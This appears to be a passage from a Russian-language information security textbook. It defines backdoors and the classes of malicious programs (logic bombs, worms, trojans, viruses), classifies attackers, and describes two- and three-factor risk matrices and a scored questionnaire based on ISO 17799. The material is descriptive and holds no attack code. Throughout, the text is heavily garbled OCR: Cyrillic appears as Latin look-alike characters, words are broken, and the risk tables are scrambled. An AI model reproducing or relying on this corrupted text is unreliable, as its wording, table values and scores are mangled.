HeCaHKYUOHUPOBAHHASL MOOUPUKAYUS ANOPUMMUYECKOU, NPOSPAMMHOU U MEXHU4ecKoll
cmpykmyp — cucmemsl. HecaHKUMOHMpPOBAaHHAsT ~ MOAUM(MUKALUS  CTPYKTYP  MOXET
OCYIIECTBIIAThCA Ha JtoO0oM >ku3HeHHOM mukie KC. HecaHkunoHupoBaHHOE W3MEHEHHE
ctpykrypsl KC Ha sTanax pazpaboTku U MOJAECpHHU3ALMH MOTYYHIIO Ha3BaHUE «3aKiaaKa». B
npouecce pazpadbotkun KC «3aknaaku» BHEAPAIOTCS, KaK MPAaBUIIO, B CHEIMAIM3UPOBAHHbBIC
CUCTEMbI, IMpelHa3HauYeHHble I  JKCIUIyaTallud B  Kakou-mubo  dupme uiu
roCyJapCTBEHHBIX yupexacHusx. B yHuBepcanbHble KC «3akiiagku» BHENPSAIOTCA PEXKE, B
OCHOBHOM JUI1 IJUCKPEIWTALMU TAKUX CUCTEM KOHKYPEHTOM WM Ha TIOCYIapCTBEHHOM

ypoBHe, ecnu mpennonaraiTcs nocraBku KC Bo BpaxkaeOHOE TocyaapcTBO. «3aKIaiKmy,
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BHEJ[PEHHBbIE Ha 3Tarne pa3padO0TKH, CIOXKHO BBIIBUTH BBHUJY BBICOKON KBaTU(UKALUU UX
aBTOPOB U CI0KHOCTU coBpeMeHHbIX KC.

ANropuTMUYECKHUE, MPOTPAMMHBIEC U allllapaTHBIC «3aKJIaJKH» HUCIONb3YIOTCS MO0 A
HEMOCPEACTBEHHOTO BpeauTeNnbckoro BozaeiictBuss Ha KC, nubo nis oOecrnedeHus
HEKOHTPOJINPYEMOTO BXOJa B cuctemy. Bpeaurenbckue BozaeicTBus «3akianok» Ha KC
OCYIIECTBIISIIOTCA TPH TOJyYEHUHU COOTBETCTBYIOLIEH KOMAaHIbI HW3BHE (B OCHOBHOM
XapaKTEepPHO IS allllapaTHBIX «3aKJIaJ0K») U MPU HACTYIUIEHUU ONPEIENIEHHBIX COOBITUN B
cucteme. TakuMu COOBITUSIMM MOTYT OBITh: IEPEXO] HA OINPEACICHHBIH pPEXUM padOThI
(Hampumep, 00EBOM PEKUM CHCTEMBI YIPABICHUS OPYKHEM WIH PEXKUM YCTpaHEHUS aBa-
pUITHON CUTyallMl HAa aTOMHOMW 3JIEKTPOCTAHLUH T. I1.), HACTYIUICHHE YCTaHOBJICHHOM JaThl,
JOCTHKEHHUE ONPEIEIEHHON HApaOOTKH U T. 1.

[IporpaMMHbIE W ammapaTHbIE «3aKIaJKW» Ui OCYIIECTBICHHS HEKOHTPOIUPYEMOTO
BXOJla B MPOTPAMMBI, HCIIOJIb30BAHNE MPUBUIECTMPOBAHHBIX PEKUMOB pabOThI (HampuUMep,
PEXKUMOB ONEPALUOHHON CHCTEMBI), 00X0/la CPEACTB 3alUThl MHPOPMALUU MOIYUUIH

Ha3BaHHC <«JIIOKH).

Bpeaureabckue mporpaMmMsl

OpHMM M3 OCHOBHBIX MCTOYHHUKOB yrpo3 Oe3zomacHoctu uH(popmauuu B KC sBusercs
UCIOJIb30BAaHUE CHEIHUATbHBIX MPOrpaMM, MOJYUYUBIIUX O0IIEe Ha3BAaHUE «BPEIUTEIHCKHE
IPOrpaMMbD».

B 3aBucuMocTy OT MeXaHu3Ma JEHCTBUS BPEAUTEIbCKUE TIPOTPaMMBbI JIETISTCS Ha YEThIpe
KJjacca:
- «JIoTHYecKrue OOMOBI»;
- «YEPBUY;
- KTPOSIHCKUE KOHUY;
- KKOMIIBIOTEPHBIE BUPYCHD».

«Jlocuueckue 60MObL» - 3TO MPOrPAMMBI UJIU UX YACTH, TOCTOSHHO Haxoduecs B OBM
WK BbBIYMCIUTENbHBIX cucTeMax (BC) u BbImosHseMble TONBKO MNpU  COOTIOACHUU

oTpezeNieHHbIX ycioBui. [IpuMepamu Takux yclIOBUN MOTYT ObITh: HACTYIJICHUE 3a/laHHOM
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natel, nepexoq KC B ompeneneHHbIN pexuM padOThl, HACTYIJICHUE HEKOTOPBIX COOBITHI
YCTaHOBJIEHHOE YUCJIO pa3 | T.1II.

« Yepeamuy HA3BIBAIOTCSA MPOrPAMMBI, KOTOPBIE BBIMOJHAKOTCA KaXKIbIM pa3 MPH 3arpy3Ke
cucTeMbI, 00J1aaI0T CIOCOOHOCTHIO NepemMenmaTbes B BC winn cetn 1 caMOBOCIIPOU3BOANUTD
Kornuu. JIaBUHOOOpa3HOe pa3MHOKEHUE MPOrpaMM MPUBOAUT K MEpErpy3Ke KaHaJIOB CBS3H,
NaMATH U, B KOHEYHOM HTOre, K OJIOKUPOBKE CHCTEMBI.

«Tposanckue xouu» - 3TO NPOrPAMMBI, MOJYYEHHBIE IYTEM SIBHOIO W3MEHEHHS WIH
no0aBlieHUsT KOMaHJ B IMOJb30BaTeIbCKUE MporpamMmbl. [Ipu mocnienyroneM BbITOJTHEHUH
MOJIb30BATEIbCKUX MPOrpaMM HapsAay C 33JaHHbIMM  (DYHKOUSMH  BBITOJHSIOTCS
HECAaHKIIMOHUPOBAHHBIC, U3MEHEHHBIE WJIM KaKHUe-TO HOBbIE (DYHKIIUU.

«Komnvromepuvie gupycvl» - 3T0 HEOOJBIINE MTPOTPAMMBbI, KOTOPbIE€ TIOCIIE BHEIPEHUS B
OBM caMOCTOSTENBHO pAacOpOCTPAHSAIOTCS NYTEM CO3JaHHMS CBOMX KONWM, a TIpHU
BBIIIOJIHEHUH ONPEJIETICHHBIX YCIOBUN OKa3bIBalOT HEraTuBHOE Bo3aelicTBue Ha KC.

[TockoybKy BHpyCcaM NPUCYIIM CBOWCTBA BCEX KIACCOB BPEIMTENBCKUX MPOrPAMM, TO B
nocieaHee BpeMs J1to0ble BpeAUTENbCKUE TPOrPaMMBbl YaCTO HA3bIBAIOT BUPYCAMHU.

Kuaaccudpukanus 3J;il0yMbIIIIICHHUKOB

B03MOXHOCTH OCYILIECTBICHUSI BPEIUTEIbCKUX BO3JICUCTBUN B OOJIBIIONW CTETCHU
3aBUCAT OT CTAaTyca 3J0yMbIIIEHHUKA M0 oTHOWEHHI0 K KC. 310yMBIIUIEHHUKOM MOXET
OBITh:

- pazpabotuuk KC;

- COTPYIHUK U3 YuciIa 00CITyKHUBAIOILIEr0 EPCOHANA;
- MIOJIb30BATEIb;

- [IOCTOPOHHEE JIUILIO.

Paspabomuux Bnaaeet nanboJsiee nMoaHoW MHGOpMALIEH O TPOrPpaMMHBIX U annapaTHbIX
cpeactBax KC u uMeeT BO3MOXKHOCTH BHEAPEHHUs '3aKiIagoK" Ha JTanax CO3JaHus U
MozaepHu3anuu cucteM. Ho oH, Kak nmpaBuiio, He NOJIy4aeT HENMOCPEACTBEHHOIO JOCTYIIAa Ha
skcrryarupyembie 00bekThl KC. [lonb3oBaTens umeer o0111ee npeacTaBieHue 0 CTPYKTypax
KC, o pabore mexanu3mMoB 3amuThl HHGopMaruu. OH MOXKET OCYIIECTBIATh COOP TaHHBIX O

cucTeMe 3aluThl MHGOPMAIIMK METOJAAMH TPAJAUIIMOHHOTO IIMHOHAXA, a TaKXKe MPEAIpH-
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HUMaTh TONBITKM HECAaHKIMOHUPOBAHHOTO JocTyna K wuHpopManuu. Bo3moxHocTu
BHEJIPEHUS 3aKJIaJOK II0JIb30BAaTEJSIMM OYEHb OrpaHU4YeHbl. IlocTopoHHEe nHIO, HE
uMmerolee otHoueHusa kK KC, HaXoauTcsi B HAUMEHEE BBITOJHOM ITOJIOKEHUU 1O OTHOIICHUIO
K JPYTUM 3JI0yYMBIIUICHHUKaM. Eciiu MpennonoxuTb, 4TO OH HE UMEET JTOCTYI Ha OOBEKT
KC, TO B €ro pacnopsiK€HUu UMEIOTCS JUCTAHIIMOHHBIE METOABI TPAAUIIMOHHOTO IIITHOHAXKA
Y BO3MOYKHOCTh JUBEPCUOHHOW N€ATEIbHOCTH. OH MOXET OCYLIECTBIATh BPEIUTENbCKUE
BO3JICHCTBHSI C HCIIOJIB30BAHUEM DJIEKTPOMAarHUTHBIX M3JIyYEHMM M HABOAOK, a TaKkKe
KaHAJIOB cBA3M, ecyii KC sBisieTcs pacnpeneieHHOM.

Bosbiiine BO3MOKHOCTH OKa3aHWsSl BPEAUTENbCKUX BO3AeUcTBUM Ha uHopMmanmio KC
UMEIOT CHELMATUCTBI, OOCIIy)KHUBAIOIIME 3TH cucrteMbl. [IpuueM, cnenuamucTsl pa3HbIX
NOAPA3AEIEHUN o0nagaroT Pa3IMYHBIMA MMOTEHIUAJIbHBIMH BO3MOKHOCTSIMU
3JIOYMBIIUICHHBIX JeicTBUil. HauOonpmmii Bpex MOTIyT HaHECTH pPaOOTHUKH CITY>KObI
Oe3omacHoct uHGpopMauuu. Jlanee uAYT CHCTEMHbIE MPOTPAMMHUCTBI, MPUKIIATHBIE
IIPOTPAMMUCTBI U HHXKEHEPHO-TEXHUUYECKHAN ITEPCOHAIL.

Ha mpakTuke OnacHOCTh 3JIO0yMBIIUIEHHUKAa 3aBUCUT TakXke OT (UHAHCOBBIX,

MaTCPUAJIBHO-TCXHUYCCKHUX BO3MOKHOCTEH U KBaJ'II/I(l)I/IKaHI/II/I 3JIOYMBIIIJICHHHKA.

2.2.IlpuMepbl METOAMK AHAJIN32 PUCKOB

Konnenmun ananmsa puckoB, ypaBiIeHHs] pUCKaMH Ha BCEX CTAIMSIX KU3HEHHOTO ITUKIIa
WH()OPMAITMOHHONW TEXHOJOTUU OBLIN MPETI0KEHBI MHOTMMU KPYIMHBIMH OpTaHU3AIUSIMU,
3aHUMAIOIUMUCS  mpobseMamu  UHGOpPMAIIMOHHONW — Oe3omacHOCTH.  OTedyecTBEHHBIE
AHAIMTUKMA Hadajdd WCIIOJIb30BaTh pAa3WYHbIE METOAMKM Ha MpakThuke. Heckompkumu
POCCUICKUMH OpTaHMU3alUsIMU ObUIM pa3paboTaHbl COOCTBEHHBIE METOJIMKH aHallu3a |
YIOPABJICHUS] PUCKaMH, pa3paboTaHO COOCTBEHHOE MNPOrpaMMHOE OOecrnedeHue, KOTopoe,

HapsAy ¢ 3apyOe’KHbIM, HMEETCSl HA OTE€YECTBEHHOM PBIHKE [3].
Ounenka puckoB

JIist u3mMepeHnsi Kakoro-im0o CBOWCTBA HEOOX0IMMO BBIOpaTh mikanmy. Illkamsl moryt

OBITH Pa3HOW «CHJIBI», BBIOOP TOW WJIM MHOW IIKAJIBl 3aBUCUT KaK OT CBOWCTB M3MEPSEMOM
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BEJIMYUHBI, TAK U OT UMEIOLIUXCS B HAIMYMU U3MEPUTEIbHBIX HHCTPYMEHTOB.

B kawecTtBe mnpuMepa paccMOTPUM BapUaHThl BBIOOpA IIKANbl JIJII H3MEPEHUS
XapaKTepUCTHUECKOTO CBOMCTBA «IEHHOCTh HH(OpMaMOHHOTO pecypca». OHa MOXKeT
U3MEPATHCS] ONOCPETOBAHHO B IIKAJIAX OTHOIICHHUM, TAKUX KaK CTOMMOCTh BOCCTAHOBJIEHUS
pecypca, BpeMsi BOCCTAHOBIICHHMSI pecypca W JApyrux. Jpyroil BapuaHT — OINpPEAECIUTH
PaHTOBYIO IIKady I MOJYyYEHHUsS OHKCIEPTHOM OLIEHKH, HMEIOLIYI0, HalpuMep, TpH
BO3MO>KHBIX 3HAUEHUS IUHIBUCTHUECKON IEPEMEHHOM:

1) MasionieHHbIN UHGOPMAITMOHHBIA pEeCcypc - OT HEro HE 3aBUCIT KPUTUYECKU BaKHBIC
3aJlayi, 1 OH MOKET ObITh BOCCTAHOBJIEH C HEOOJIBIIMMU 3aTpaTaMu BPEMEHU U JICHET;

2) Pecypc cpenHeil IEeHHOCTH - OT HErO 3aBUCUT Psifi BAKHBIX 3aJ1a4, HO B CIy4ae €ro yTpaThl
OH MOJKET OBITh BOCCTAHOBJIEH 3a BPEMSI MEHEE, YeM KPUTHUYECKU JOIMYyCTUMOE, CTOMMOCTD
BOCCTAHOBJICHUS BBICOKAS;

3) LlenHblil pecypc: OT HETO 3aBUCIT KPUTHUECKH Ba)KHBIE 3aJ]a4M, B CIlydae yTpaThl BPEeMs
BOCCTAHOBJICHUSI TPEBBIIIAET KPUTHYECKH JOMYCTUMOE, JMOO CTOMMOCTH YpPE3BBIYANHO
BBICOKA.

JIist u3MepeHusi pUCKOB HE CYIIECTBYET a0COJIIOTHOW MIKabl. PUCKM MOXHO OIIEHUBATH
N0 OOBEKTUBHBIM JMOO CyOBEKTUBHBIM KpuTepusiM. [IpumepoM OOBEKTHMBHOIO KpUTEpUs
SIBJIIETCSL BEPOSITHOCTh BBIXOJ]a M3 CTPOsl Kakoro-nmubo obopynosanus, Hanpumep 11K 3a
ONpeNEeICHHbIA MPOMEXYTOK BpeMeHHU. lIpumepoM CyOBEKTHBHOTO KpUTEpHs SIBISETCA
OIICHKa aJIMHUHHCTpaTOpa WH(MOPMAIMOHHOTO pecypca pucka Bbixoga u3 crpos IIK. Jlns
3TOro OOBIYHO pa3padaThIBAETCsl paHrOBas LIKajda ¢ HECKOJIBKUMH TpajalusMy, HapuMmep:
HU3KUH, CPEJTHHI, BRICOKUN YPOBHH.

CymecTByer psa  MOAXOIOB K  HM3MEpeHH0 puckoB. PaccMoTpum  Haumbonee

pacrpocTpaHeHHbIE: OIleHKa 0 IBYM (paKTopaM M OLIEHKA M0 TpeM (hakTopam.

OueHka pucKoB 1o AByM (pakTopam
B nmpocteiiiiem cimydae UMCHONB3yeTCsl OLIGHKAa JABYX (DAaKTOpPOB: BEPOSITHOCTH
MIPOUCIIIECTBUS M TSHKECTh BO3MOXHBIX MOCHeACTBHM. OOBIYHO CUMTAETCS, YTO PUCK TEM

OoJibIie, YeM OOJIbIIIE BEPOSTHOCTH IPOMUCIICCTBHS U TSHKECTh mocieacTBuid. OOmas uaes
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MOJKET OBbITh BbIpaXkeHa (HOpMYIION:

PUCK=PnpoucmectBuss X HEHA ITOTEPU (1.)
Eciau mepeMeHHbIC SIBISIOTCS KOJWYECTBCHHBIMH BEIUYMHAMH, PHUCK — 3TO OIICHKA
MaTeMaTUYeCKOTO OKUIAHUSI TOTEPb.
Ecnu nepeMeHHbIC SBJISIOTCS Ka4eCTBEHHBIMU BEJIMYMHAMH - TO OTEpalds YMHOXKCHUS HE
ompeneneHa. TakuM o0pa3om, B SBHOM BHJIE 3Ta (OPMYJIa UCTIOIH30BATHCS HE TOJDKHA.
PaccMOTpuM BapHaHT MCIIOJIL30BaHMs Ka4eCTBEHHBIX BEJIMYUH (Han0OJIee YacTO BCTPEUaro-
IIAsCsl CUTYAINs).
CHavasna JOJDKHBI OBITH  ONpENeNiCHbl 3HAYCHUS JIMHIBHCTHYECKOW IMEPEMEHHOM
BEPOSITHOCTH COOBITHIA, HATPUMEP TAKOH IIKAIIBI:
A - cOOBITHE MPAKTHYECKHA HUKOTIA HE TIPOUCXOIUT;
B - coOwiTHE CiyyaeTcs peiko;
C - BEpOSITHOCTB COOBITHS 32 PaCCMATPUBAEMBIH MPOMEKYTOK BpeMeHH — 0K0J10 0,5;
B - ckopee Bcero, coObITHE TIPOU30MICT;
E - coObITHE TOYTH 0053aTEITHHO MPOU3OUICT.
Kpome Toro, ompenensercs JUHMBHCTHYECKAs MEPEeMEHHAs, CEPbe3HOCTH MPOUCIICCTBHIA,
HarpuMmep:
N (Negligible) — Bo3xmeticTBHEM MOKHO ITPEHEOPEYb.
Mi (Minor) — He3HaYMTEeIbHOE MPOUCIICCTBUE - TIOCIEACTBHSI JIETKO YCTPAHUMBI, 3aTPAThI
Ha JIMKBHUJIAIMIO MOCIICJICTBUN HEBEJIMKH, BO3JCHCTBUE HA MH(OOPMAIIMOHHYIO TEXHOJIOTHIO
HE3HAYHUTEIBHO;
Mo (Moderate) — mnpowucmiecTBHE ¢ YMEPEHHBIMH pe3yJIbTaTaMH - JIUKBUJAINS
TIOCJIC/ICTBUII HE CBs3aHA C KPYIHBIMH 3aTpaTaMH, BO3JCHCTBHE Ha WH(POPMAIOHHYIO
TEXHOJIOTUIO HEBEJIMKO M HE 3aTPAarMBacT KPUTHUCCKU BaKHBIC 3a/1a4H;
S (Serious) — mpoucIIeCTBHE C CEPbE3HBIMU TOCICACTBHIMU: JIUKBHIAIIUSA TOCICICTBHIA
CBsI3aHAa CO 3HAYUTEIBHBIMH 3aTpaTaMH, BO3JCHCTBHEC HA HH(POPMAIMOHHBIC TEXHOJIOTHUU
OIIyTHMO, BO3/ICHCTBYET Ha BBITOJHEHNE KPUTHYCCKH BAKHBIX 33/1a4;
C (Critical) — mpowucriecTBre NMPUBOIUT K HEBO3MOXKHOCTH PEIICHUS KPUTHUECKU BaXKHBIX

3a7au4.
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JIns OLlEeHKM PHUCKOB ONPENEIAETCS NEPEMEHHASI U3 TPEX 3HAYEHMM: HU3KUU PUCK, CPEIHUN
PHUCK, BBICOKAW PHUCK.

Puck, cBsi3aHHBIN C OMPEICICHHBIM COOBITHEM, 3aBUCUT OT JIBYX (DAKTOPOB M MOXKET OBITH
OTpeJieNIeH KaK oKa3aHo B Taduue 2.

kanel ¢pakTopoB pUCKa U caMa TabiMIla MOTYT OBITh OINpENEICHbl MHAYE, UMETh APYroe

YHUCIIO TPajalnii.

Tabnuua.2. OnpeneneHue pucka B 3aBUCUMOCTU OT JIBYX (haKTOPOB

Negligible | Minor | Moderate | Serious | Critical
Huzkui Huzkui Huskuii | Cpegnuii | Cpeguuii
pHUCK pHUCK pHUCK pHUCK pHUCK
Huskuit | Huskunt | Cpennuit | Cpennuid | Beicokuit
pHUCK pHUCK pHUCK pHUCK pHUCK
Huzknii Cpenunii |Cpennnit  |Cpennuit |Bpicokuii
pHUCK pHUCK pHUCK PHUCK PHUCK
Cpennuii  |Cpennuii |Cpegnuit  |Cpegnuil |Beicokuit
pHUCK pHUCK pHUCK pHUCK pHUCK
Cpennuii  |Bwicoknit |Beicokuit |Beicokuit |Beicokuit
pHUCK pHUCK pHUCK pHUCK pHUCK

[Tono0OHBIM TOAXOJ K OIEHKE PUCKOB JIOCTAaTOYHO pacmpoctpaHeH. [Ipu pazpaboTke
(MCTIONB30BAaHMM) METOAMK OLEHKH PUCKOB HEOOXOJUMO YYUTHIBATH CIEIYIOIINE
O0COOEHHOCTH:

- 3HAQYCHUS IIKaJ JOJDKHBI OBITh YETKO OINpeaeNieHbl (CIIOBECHOE OMMCAHUE) U MOHUMAThCS
OJIMHAKOBO BCEMH YYaCTHHKAMHM MPOLIETYPhl SKCIIEPTHON OLICHKH;

- TpeOyroTcsi 000CHOBaHUSI BbIOpaHHOM Tabiuubl. HeoOxonumo yOenuTbesi, 4TO pas3Hble
MHIUICHTHI, XapaKTepU3YIOLUIUeCs] OJJMHAKOBBIMU COUYETAHUSIMH (PAKTOPOB PHUCKA, UMEIOT C

TOYKH 3PEHUS SIKCIIEPTOB OJIMHAKOBBIN YPOBEHb PUCKOB.

[TogoOHbBIE METOIMKH IIUPOKO MPUMEHSIFOTCS MTPU NMPOBEICHNN aHAJIN3a PUCKOB 0a30BOT0O
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YPOBHSL.

Ouenka puckoB 1o Tpem ¢axkropam.

B GonpmmHCTBE METOUK, paCCUMTAHHBIX Ha OoJiee BHICOKHE TPeOOBaHUS, YeM 0a30BbIii
YPOBEHb, UCIOJIb3YETCSI MOJIENb OIIEHKUA PHUCKa C Tpemsi (aKTopamu: yrposa, ys3BUMOCTD,
[IEHa MOTEpU. YTPO3a U ySI3BUMOCTH OINPENEISIOTCS CIETYIOMUM 00pa3oMm.

Vepo3za — COBOKYNHOCTb YCJIOBHH M (DaKTOPOB, KOTOpHIE MOTYT CTaThb HPUYUHON
HapyILIEHUs HEJIOCTHOCTH, TOCTYMTHOCTH, KOH(UICHIIMATILHOCTH UHHOPMALIUH.

Vazeumocms — cnaboCTh B CHCTEME 3alUThI, KOTOpas J€1aeT BO3MOKHBIM pealln3aliio
yTPO3BI.

Llena nomepu — 3TO KaueCTBEHHAs! WM KOJUYECTBEHHAs OLIEHKA CTEIEHU CEPhE3HOCTHU
IPOUCILIECTBHUS.

BeposiTHOCTh mpouciiecTBUs, KOTOpas B JIaHHOM TOJXOAE MOKET ObITh OOBEKTHBHOM
aM00 CyObEKTMBHOM BEJIMYMHOM, 3aBHCUT OT YpPOBHEH (BEpOATHOCTEH) YIrpo3 H
YSA3BUMOCTEM:

Pnpoucmectus = Pyrpo3sr X PyssBumoctn (2)
CoOTBETCTBEHHO, PUCK OINpPEAEIAETCS CAEAYIOINUM 00pa3oMm:
PUCK = Pyrpo3ssl X Pysazsumoctu X LIEHA IIOTEPU  (3)

JlaHHOE BBIpa@XKEHHE MOXKHO paccMaTpuBaTh Kak MaTEeMaTHYECKyIo (OpMysy, eciu
UCITIOJIB3YIOTCSI KOJIMYECTBEHHBIE MIKAJIBI, JTMO0 Kak (OpMYIUPOBKY OOIIEH Ulier, €clii XOTs
Obl OJlHA W3 LIKaJ - KadeCTBeHHas. B mocienHeM ciyyae MCHOIb3YIOTCS PAa3IMYHOTO poja
TaOJIMYHbBIE METOJIbI IJIs1 ONPEEICHHUS] PUCKaA B 3aBUCUMOCTH OT TpeX (haKTOPOB.

Hampumep, noxasarenb pucka usmepsiercs B mkaire or 0 1o 8 co ciexyromuMu
OIIPENICTIEHUSIMU YPOBHEHN PUCKA:

1) Puck mpakTudyecku OTCYTCTBYET. TeopeTHuecku BO3MOXKHBI CUTyallud, MPU KOTOPHIX
coOBbITHE HACTYyMaeT, HO Ha MpakTHUKE 3TO CIy4aeTcs peAKo, a MOTEHLUUAJIbHBIA yiiepO
CpPaBHUTEIBHO HEBEJIUK:

2) Puck odyenn man. CoObITHS TTOIOOHOTO POJia CIYYAIUCh JOCTATOYHO PEAKO, KPOME TOTO,

HCTAaTHUBHBIC ITOCICACTBUA CPABHUTCIbHO HCBCIIMKHU,
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8) Puck oueHb

YPpOBEHBb yrpo3sl
BeinK. CoObITHE,
Crenenp Huzkuit Cpennnii Beicokui
CKOpee  BCero,
CEepPbE3HOCTH YpoBHU YpoBHU YpoBHU
HACTYTIHT, u
IIPOUCIIECTBHA ySI3BUMOCTEN YA3BUMOCTEN YA3BUMOCTEN
MOCJIEICTBHUS
(LieHa motepy) H C | B|H|C|B|H]|C B
OynyT
. Hesnauurtenvhas | 0O 1 2 1 2 3 2 3 4
Ype3BbIUYAHO
HecymectBennas| 1 2 3 2 3 4 | 3 4 3)
TSKEIIBIMH.
YmepenHas 2 3 4 3 4 5 4 5 6
Marpuna
CepnesHas 3 4 5 4 5 6 5 6 7
MOKET OBITH
Kputnuaeckast 4 5 6 5 6 7| 6 7 8
onpeaeneHa

cienyromuM obpazom (Ta6:1.2.3). B nannoi tabnuue yposuu yszsumoctd H, C, B o3Hauator
COOTBETCTBEHHO HU3KHUU, CPEAHUM U BBICOKHM YPOBHH.
[TogoOHbIe TaOMUIIBI UCTIONB3YIOTCS KaK B «OYMa)KHBIX» BapHaHTaX METOJIUK OICHKU

PHCKOB, TaK U B Pa3JIMYHOTO POJa NHCTPYMEHTAIBHBIX CPEACTBAX aHAIIN3a PUCKOB.

Ta6numa.3. OnpeneneHre pucka B 3aBUCUMOCTH OT TpeX (haKTOpOB
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[IpakTHYeCKHEe CIIOKHOCTH B PeaIM3aI[iy 3TOTO IMOAXO0a CJICTIYIOIIHUE.

Bo-miepBbIX, momkeH OBITh coOpaH BecbMa OOIIMPHBIA MaTepual O MPOUCHIESCTBUAX B
9TOM 00JIACTH.

Bo-BTOpBIX, NpPHMEHEHHE JTOTO II0JXO0Ja OIpaBAaHO JaJeKo He Bcerga. Ecim
uH)OpPMAITMOHHAS CHCTEMa JOCTaTOYHO KpymHas (COASPKUT MHOTO DJIEMEHTOB,
pacriojio’keHa Ha OOITUPHON TEPPUTOPUH ), UMEET JaBHIOK HCTOPHIO, TO MOJOO0HBIM MOAXO0,
CKOpee Bcero, mpuMeHUM. Ecim cucTema cpaBHUTEIHLHO HEBEIWKA, MCIOJIL3YeT HOBEHINHE
AJIEMEHTBI TEXHOJIOTHH (11 KOTOPBIX TTOKA HET JOCTOBEPHOU CTATUCTHKHU), OIIEHKH yIPoO3 U

YHSBHMOCTGﬁ MOTI'YT OKa3aTbCsA HCAOCTOBCPHBIMMU.

2.3. Bp10op MeTOaMKA aHAJIN32 PUCKOB

Kak yxe ynoMuHamace BBIIIE JISI OLEHKH YIpOo3 M YA3BUMOCTEW MCIOJIB3YIOTCS
pa3IM4YHbIE METO/IBI, B OCHOBE KOTOPBIX MOTYT JIEXATh [6]:

- DKCIEPTHBIEC OIICHKH.
- CTaTUCTHUYECKNE TaHHBIE.
- Yuer ¢hakTopoB, BIUSIONIUX Ha YPOBHU YTPO3 U YSI3BUMOCTEH.

Mp1 ke, BbIOpasiM HamOoJiee PACIPOCTPAHCHHBIM B HACTOSAIIEE BpEMs  TOJXO/I,
OCHOBaHHBIN Ha y4eTe pa3IUYHbIX (DaKTOPOB, BIUSAIONIMX HA YPOBHU YIPO3 U YSI3BUMOCTEM.
Tako# moaxo/1 MO3BOJIAET A0CTPArupoBaTHCA OT MAJIOCYIIIECTBEHHBIX TEXHUYECKUX JCTANICH,
YYECTh HE TOJIBKO IMTPOTPAMMHO-TEXHUYECKHE, HO U UHBIE ACIIEKTHI.

HaMm HeoOX0oauMO OLEHHUT CEeAYIOIINE BEPOSITHOCTH:

- BEPOSITHOCTh YPOBHS(CTENEHHN) YIPO3bl U BEPOSITHOCTD YPOBHS YSA3BUMOCTH .

J1J1st OLIEHKH Yrpo3 BBIOEPEM CIIEIYIOUTUE KOCBEHHbIE (DaKTOPbI:

- CTaTucTHKa M0 3apETUCTPUPOBAHHBIM UHIIUACHTAM.

- TeHI[eHHI/II/I B CTATHUCTKC I10 HOI[O6HBIM HapyIICHUSAM.
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- Hammume B cucreme wHpOpMauu, MPEACTABISIONICH HHTEPEC IS MOTCHITHATHHBIX
BHYTPEHHHX WJIM BHEIIHUX HAPYLIUTEIICH.
- MopanbpHbIE KauecTBa IIEpCOHANA.
- Bo3M0XHOCTB M3BJI€Ub BHITOTY M3 U3MEHEHUST 00pabaThIBaeMOi B CHCTEME HH(POPMAITUH.
- Hannuue anbTepHaTUBHBIX CIOCOOOB JIOCTYIA K HHGOPMALIUH.
JIJ1s1 OIIEHKH YS3BUMOCTEH BBIOEpEM CIEAYIOMNE KOCBEHHBIE (PaKTOPHI:
- KonnuecTBo pabounx MecT (Moap30BaTeNeil) B CUCTEME.
- Pazmep pabouux rpynm.
- OCBEJIOMJIEHHOCTb PYKOBOJICTBA O JEUCTBUSX COTPYAHUKOB (pa3HbIC aCIEKThI).
- XapakTep UCIoJIb3yeMoro Ha pabounx mectax obopynoBanus u I[10.
- [TotHOMOYMS TOB30BaTENEH.

Jlanee Mbl OepeM MOJTOTOBJICHHBIM CHUCOK BOMPOCOB, COCTABJICHHBIN MPU HU3YyUYCHHUH
pasnenoB ctanaapta 1SO 17799, u nenum ero Ha Be 4acTH, BIUSAIONINX HA YPOBEHb YIPO3 U
BIIMAIONIMX HA YPOBEHb YSA3BUMOCTH. HampoTuB (QUKCUPOBAHHBIX BapHaHTOB OTBETOB
MOCTaBUM OTPE/ICICHHOE KOJUYECTBO 0aJIOB, ONPEIETSIONIUX YPOBEHb KPUTUIHOCTH.

Jlns ompeneneHuss pakTopoB BIMSIONMIMX HA YPOBEHb YIpo3, MPHUBEIEM CIECAYIOIIHNI
BOIIPOC C BApUAHTAMH OTBETOB:

Moowcem nu cokpvimue ungopmayuu npunecmu npsamMyr0 QUHAHCOBYIO UNU UHVIO 6bl200Y
compyoHuxkam?

BapuanTsl 0TBETOB:

a) Jla 15

0) Her 0

st onpenenenust (akTOPOB BIUSIONIUX HA YPOBEHb YSI3BUMOCTH, TMPUBENEM CIIETYIOIINN
BOIIPOC C BapUAHTAMH OTBETOB:

Ecmb 1u y compyoHuxog 803MONCHOCHb OCYUECmMB8UmMb HECAHKYUOHUPOBAHHBIN OOCMYN K
ungopmayuu (Hanpumep, K020a UX HENOCPeOCMBEHHO He KOHMPOIUPYIOm, NO 8euepam U
m.n.)?

a) Ja 20

0) Her 0
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Hrorosas OILICHKAa YIpo3bl M YA3BUMOCTU JAHHOI'O KJaccCa 6y1[eT OIIPCACIIATHCS
CYMMHUPOBAHUCM 0asIoB. HpOFpaMMHBIﬁ KOI CaM OLICHUT CTCIICHDb YI'PO3bI U YA3BHUMOCTHU 110
KOJIMYCCTBY HAKOIJICHHBIX 0aJjoB.

Tabnuma 4.CreneHs yrpo3bl IpU KOJIUYECTBE 0AJIOB.

o 60 OueHb HU3Kas
Ot 60 o 150 Hu3zkas
Ot 150 o 250 Cpenusis
Ot 250 o 400 Bricokas
400 u 6onee OueHb BbICOKast

Tab6nuna 5. CTeneHp ysI3BUMOCTH MPU KOJIMYECTBE 0AJIIOB.

o 100 Huzkas
Ot 100 mo 300 Cpennsis
300 u 6otee Bricokas

DOTa MeToauKa TpocTa W JaeT BIaAeiblly HWH(POPMAIIMOHHBIX PECYpPCOB SICHOE
MPEICTaBIICHUE, KAaKUM OOpa30oM TMOJIy4aeTCsl WTOTOBas OICHKA M YTO HAJ0 H3MEHUTb,
YTOOBI YIYUYIITUThH TTOKA3aTEIH.

Jlanee ucnosib3ysi METOJ| OLIEHKAa PUCKOB MO TpeM ¢aKTopaM MPOU3BEAEM pacueT Mo
dbopmyne 3.

B pesynbraTe npopaenaHHoW paOOThI MO OLICHKM PUCKOB MbI MOJYYUM Kaue€CTBEHHBIC
nokazareid. A TpU HUCIOJIL30BAaHUM OIEHKH yilepOa B cllydae pealu3alud yrpo3
KOH(HICHIIUATHOCTH, [IETIOCTHOCTU U JIOCTYITHOCTH— MBI CMOXKEM TOJYYUTh U HEKOTOPHIC

KOJIMYCCTBCHHELIC PC3YJIbTATEI.

